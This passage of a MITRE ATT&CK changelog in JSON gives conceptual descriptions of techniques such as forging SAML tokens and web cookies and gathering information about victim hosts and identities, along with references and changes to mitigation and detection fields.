{
"source_name": "Pass The Cookie",
"description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
"url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"
},
{
"source_name": "Zimbra Preauth",
"description": "Zimbra. (2023, March 16). Preauth. Retrieved May 31, 2023.",
"url": "https://wiki.zimbra.com/wiki/Preauth"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Dylan Silva, AWS Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"SaaS",
"Windows",
"macOS",
"Linux",
"IaaS",
"Office Suite",
"Identity Provider"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Web Credential: Web Credential Usage\", \"Web Credential: Web Credential Creation\", \"Logon Session: Logon Session Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:07.201000+00:00\", \"old_value\": \"2025-04-15 22:37:02.111000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management",
"M1047: Audit",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0006: Web Credential (Web Credential Creation)",
"DS0006: Web Credential (Web Credential Usage)",
"DS0028: Logon Session (Logon Session Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0260: Detection Strategy for Forged Web Credentials"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-12-17 15:24:12.240000+00:00",
"modified": "2025-10-24 17:48:30.302000+00:00",
"name": "SAML Tokens",
"description": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1606/002",
"external_id": "T1606.002"
},
{
"source_name": "Microsoft SolarWinds Steps",
"description": "Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.",
"url": "https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/"
},
{
"source_name": "Microsoft SAML Token Lifetimes",
"description": "Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.",
"url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes"
},
{
"source_name": "Microsoft SolarWinds Customer Guidance",
"description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
"url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
},
{
"source_name": "Cyberark Golden SAML",
"description": "Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.",
"url": "https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"
},
{
"source_name": "Sygnia Golden SAML",
"description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.",
"url": "https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Blake Strom, Microsoft 365 Defender",
"Oleg Kolesnikov, Securonix",
"Jack Burns, HubSpot"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"SaaS",
"Windows",
"IaaS",
"Office Suite",
"Identity Provider"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Web Credential: Web Credential Usage\", \"Web Credential: Web Credential Creation\", \"Logon Session: Logon Session Creation\", \"User Account: User Account Authentication\", \"Logon Session: Logon Session Metadata\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:30.302000+00:00\", \"old_value\": \"2025-04-15 23:01:25.698000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)\\n\\nConsider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)\\n-\\n-Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1015: Active Directory Configuration",
"M1018: User Account Management",
"M1026: Privileged Account Management",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Authentication)",
"DS0006: Web Credential (Web Credential Creation)",
"DS0006: Web Credential (Web Credential Usage)",
"DS0009: Process (Process Creation)",
"DS0028: Logon Session (Logon Session Creation)",
"DS0028: Logon Session (Logon Session Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0148: Detection Strategy for Forged SAML Tokens"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-12-17 02:14:34.178000+00:00",
"modified": "2025-10-24 17:49:04.036000+00:00",
"name": "Web Cookies",
"description": "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1606/001",
"external_id": "T1606.001"
},
{
"source_name": "Volexity SolarWinds",
"description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.",
"url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"
},
{
"source_name": "Unit 42 Mac Crypto Cookies January 2019",
"description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
"url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
},
{
"source_name": "Pass The Cookie",
"description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
"url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jack Burns, HubSpot"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"SaaS",
"IaaS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Web Credential: Web Credential Usage\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.036000+00:00\", \"old_value\": \"2025-04-15 23:20:22.744000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1047: Audit",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0006: Web Credential (Web Credential Usage)",
"DS0028: Logon Session (Logon Session Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0171: Detection Strategy for Forged Web Cookies"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:39:33.966000+00:00",
"modified": "2025-10-24 17:48:21.583000+00:00",
"name": "Gather Victim Host Information",
"description": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\nAdversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary\u2019s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.(Citation: TrellixQakbot)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1592",
"external_id": "T1592"
},
{
"source_name": "ATT ScanBox",
"description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
"url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
},
{
"source_name": "TrellixQakbot",
"description": "Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved August 1, 2024.",
"url": "https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/"
},
{
"source_name": "ThreatConnect Infrastructure Dec 2020",
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Sam Seabrook, Duke Energy"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.583000+00:00\", \"old_value\": \"2025-04-15 22:37:32.347000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0826: Detection of Gather Victim Host Information"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:47:16.719000+00:00",
"modified": "2025-10-24 17:48:58.431000+00:00",
"name": "Client Configurations",
"description": "Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1592/004",
"external_id": "T1592.004"
},
{
"source_name": "ATT ScanBox",
"description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
"url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
},
{
"source_name": "ThreatConnect Infrastructure Dec 2020",
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.431000+00:00\", \"old_value\": \"2025-04-15 21:57:34.604000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0820: Detection of Client Configurations"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:46:42.537000+00:00",
"modified": "2025-10-24 17:49:16.957000+00:00",
"name": "Firmware",
"description": "Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1592/003",
"external_id": "T1592.003"
},
{
"source_name": "ArsTechnica Intel",
"description": "Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020.",
"url": "https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.957000+00:00\", \"old_value\": \"2025-04-15 22:36:31.208000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0818: Detection of Firmware"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:40:47.488000+00:00",
"modified": "2025-10-24 17:48:32.066000+00:00",
"name": "Hardware",
"description": "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1592/001",
"external_id": "T1592.001"
},
{
"source_name": "ATT ScanBox",
"description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
"url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
},
{
"source_name": "ThreatConnect Infrastructure Dec 2020",
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:32.066000+00:00\", \"old_value\": \"2025-04-15 22:39:29.396000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0887: Detection of Hardware"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 14:54:59.263000+00:00",
"modified": "2025-10-24 17:48:47.303000+00:00",
"name": "Gather Victim Identity Information",
"description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames.(Citation: GrimBlog UsernameEnum)(Citation: Obsidian SSPR Abuse 2023) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: 